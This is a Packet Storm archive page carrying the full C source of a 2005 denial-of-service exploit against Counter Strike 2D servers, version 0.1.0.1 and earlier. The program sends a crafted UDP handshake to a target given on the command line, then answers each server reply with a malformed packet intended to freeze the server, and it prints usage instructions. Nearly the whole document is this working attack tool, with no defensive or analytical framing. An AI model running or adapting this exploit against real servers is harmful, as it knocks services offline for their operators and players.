exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

CounterDoS.c

CounterDoS.c
Posted Dec 14, 2005
Authored by Iman Karim | Site home.inf.fh-rhein-sieg.de

Counter Strike 2D denial of service exploit that affects versions 0.1.0.1 and below.

tags | exploit, denial of service
SHA-256 | cb1001e86d9a7f9bccd81b9253e0b87ff9acbce3407259d4304e537114d3c854

CounterDoS.c

Change Mirror Download
/*
Counter Strike 2D DoS
Affected versions: 0.1.0.1 and prior
CS2D Developer: http://www.cs2d.com/

by Iman Karim (iman.karim@smail.inf.fh-bonn-rhein-sieg.de)
http://home.inf.fh-rhein-sieg.de/~ikarim2s/

Written in Borland C++ Builder 6
20.09.2005
*/
#include <winsock.h>
#include <stdio.h>
#include <conio.h>
int sd;
int port = 36963;
WSADATA wsadata;
struct sockaddr_in p;

const static unsigned char MakeCon[]= "\xFA\xFA\x0D\x0A"
"\x68\x61\x72\x72\x79" //Player Name = Harry (in Hex)
"\xCE\x7B\xE2\x45\x63\x90\x00\x00";
const static unsigned char DoSPack[]= "\xFA\x04"
"\x68\x61\x72\x72\x79" //Player Name again
"\x0D\x0A\x02" ;

//----------------------------------------------------------------------
u_int resolveaddr(char *host )
{
u_int ip;
struct hostent *hIP ;

ip = inet_addr(host);
hIP = gethostbyname(host);
if(!hIP) {
printf("Cant solve hostip => quitting...\n");
return(0);
}
else ip = *(u_int *)hIP->h_addr;
return(ip);
}



bool HandShake(int sd)
{
sendto(sd, MakeCon, 22, 0,(struct sockaddr *)&p, sizeof(p));
return true;
}

bool DoSAttack(int sd)
{
sendto(sd, DoSPack, 10, 0, (struct sockaddr *)&p, sizeof(p));
return true;
}
//----------------------------------------------------------------------



int main(int argc, char *argv[])
{
printf ("Counter Strike 2D DoS\n");
printf ("Affected versions: 0.1.0.1 and prior\n");
printf ("by Iman Karim (iman.karim@smail.inf.fh-bonn-rhein-sieg.de)\n");
printf ("http://home.inf.fh-rhein-sieg.de/~ikarim2s/\n-----------\n");
if (argc <= 1)
{
printf ("\n-Quick Guide-\n\n");
printf ("%s <SRV_IP> [SRV_PORT] [PACKET_COUNT]\n",argv[0]);
printf ("Default Port is 36963\n");
printf ("Default Packet Count is 5000\n");
printf ("\n- -\n\nPress a key...");
getch();
printf ("\n");
return(0);
}

WSAStartup(MAKEWORD (1,0), &wsadata);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

if(sd < 0)
{
printf ("Cant create socket => quitting...\n");
return(0);
}

if(argc > 2) port = atoi(argv[2]);

p.sin_addr.s_addr = resolveaddr(argv[1]);
p.sin_port = htons(port);
p.sin_family = AF_INET;

printf ("Attacking %s:%i...\n",argv[1],port);
printf ("+Attack started...\n");

printf ("++Sending Handshake...\n");
HandShake(sd);
unsigned char rbuf[1024];
ZeroMemory(rbuf, 1024);
int cnt=0;

int pcount = 5000;
if(argc > 2) pcount = atoi(argv[3]);
printf("\n\n[!!!] IF THE SERVER DON'T RESPONSE PRESS CTRL+C [!!!]\n\n");
for(int i=0;i<=pcount;i++){
printf("+++Sending packet nr.%i...\n",i);
int len=recvfrom(sd, rbuf, sizeof(rbuf), 0, NULL, NULL);
if (len > 0)
{
printf("+++(%i)Server Responsed\n",i);
printf("+++(%i)Sending DoS Packet\n",i);
DoSAttack(sd);
}

}

printf("++Attack Done!\n");
printf("+Server should be frozen...\n");
printf("Done => quitting.\npress any key...\n");

getch();
return 0;

}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close